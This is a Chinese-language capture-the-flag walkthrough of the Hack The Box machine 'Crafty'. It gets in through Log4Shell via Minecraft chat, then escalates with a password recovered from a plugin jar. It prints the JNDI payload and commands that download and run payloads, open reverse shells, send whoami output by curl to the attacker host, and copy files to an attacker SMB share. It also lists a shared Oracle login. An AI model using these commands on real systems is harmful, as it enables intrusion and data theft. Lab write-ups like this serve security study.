
0x01 端口扫描

80web、25565mc

mc版本1.16.5
1 2
| echo "10.129.19.226 crafty.htb" >> /etc/hosts tail -n 1 /etc/hosts
|

0x02 web

1 2
| echo "10.129.19.226 play.crafty.htb" >> /etc/hosts tail -n 1 /etc/hosts
|
功能全是未开发,尝试目录爆破:
1
| feroxbuster -u http://10.129.19.226/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
|

没有结果,转向mc服务
0x03 mc
提到mc的rce,大概率就是log4j
https://software-sinner.medium.com/exploiting-minecraft-servers-log4j-ddac7de10847
本质是远程加载恶意类反弹shell,脚本将启动一个LDAP服务器和一个HTTP服务器,通过在游戏聊天框输入类似${jndi:ldap://localhost:1389/a}
的payload通过jndi远程加载恶意类。
https://github.com/kozmer/log4j-shell-poc

按照文章的利用说明,我们还需要做三个准备:
- 因为是windows机器,需要修改poc中的/bin/sh为cmd.exe
- 在同级目录下下载jdk1.8并解压
- 准备一个游戏启动器
下载jdk时需要账号,可以在https://bugmenot.com/view/oracle.com获得公开账号
erfede@yopmail.com
Bellapete!1

1
| tar -xf jdk-8u20-linux-x64.tar.gz
|
1
| python3 poc.py --userip 10.10.16.2 --webport 8000 --lport 9999
|

pcl下载1.16.5启动后,聊天框输入${jndi:ldap://10.10.16.2:1389/a}
触发
若出现1.16.5无法添加多人游戏的bug,可参见【技术向】Minecraft1.16.5离线 多人游戏已禁用Bug 修复与分析 - 哔哩哔哩 (bilibili.com)

0x04 稳固立足点
1
| powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.16.2:8000/fyhypo.exe','fyhypo.exe')"
|
1 2
| gci -r -file c:\users gc C:\users\svc_minecraft\Desktop\user.txt
|
探索web目录:
1
| gci c:\ main.js -Recurse -EA SilentlyContinue
|
没有收获
0x05 提权
枚举
sherlock没有结果、msf的都没有产生会话

换winpeas:
1
| smbserver.py share . -smb2support -username fyhypo -password fyhypo
|
1 2
| net use \\10.10.16.2\share /user:fyhypo fyhypo copy .\out.txt \\10.10.16.2\share\out.txt
|
1
| cat out.txt | less -R --mouse
|
打了几十个补丁,且好几个exp因为权限不足运行失败,暂时可以放弃内核提权了
administrator
由于是mc服务器,还有自己写的插件playercounter-1.0-SNAPSHOT.jar
,玩家统计功能,大概率会和服务器进行认证后实时统计,所以对它逆向
1
| jd-gui playercounter-1.0-SNAPSHOT.jar
|


拿到密码s67u84zKq8IXw,由于交互性太低没法直接在靶机runas后输密码,所以使用psexec或runascs:
1、psexec:
1
| psexec.exe -accepteula -u administrator -p s67u84zKq8IXw -d -i cmd.exe /c "for /f %i in ('whoami') do curl http://10.10.16.2:9999/%i"
|

1
| psexec.exe -accepteula -u administrator -p s67u84zKq8IXw -d -i cmd.exe /c "c:\ProgramData\app\fyhypo.exe"
|

2、runascs:
1 2
| powershell "iwr http://10.10.16.2:8000/runascs.exe -outfile runascs.exe" .\runascs.exe administrator s67u84zKq8IXw powershell -r 10.10.16.2:8888 -t 0
|

system
现在已经拿到了administrator,那么只需要psexec -s
就拿到了system的shell
1
| psexec-x64.exe -s -accepteula -i cmd.exe /c "c:\ProgramData\root.exe"
|
1
| xcopy "c:\Users\svc_minecraft\server" "\\10.10.16.2\share" /E /I
|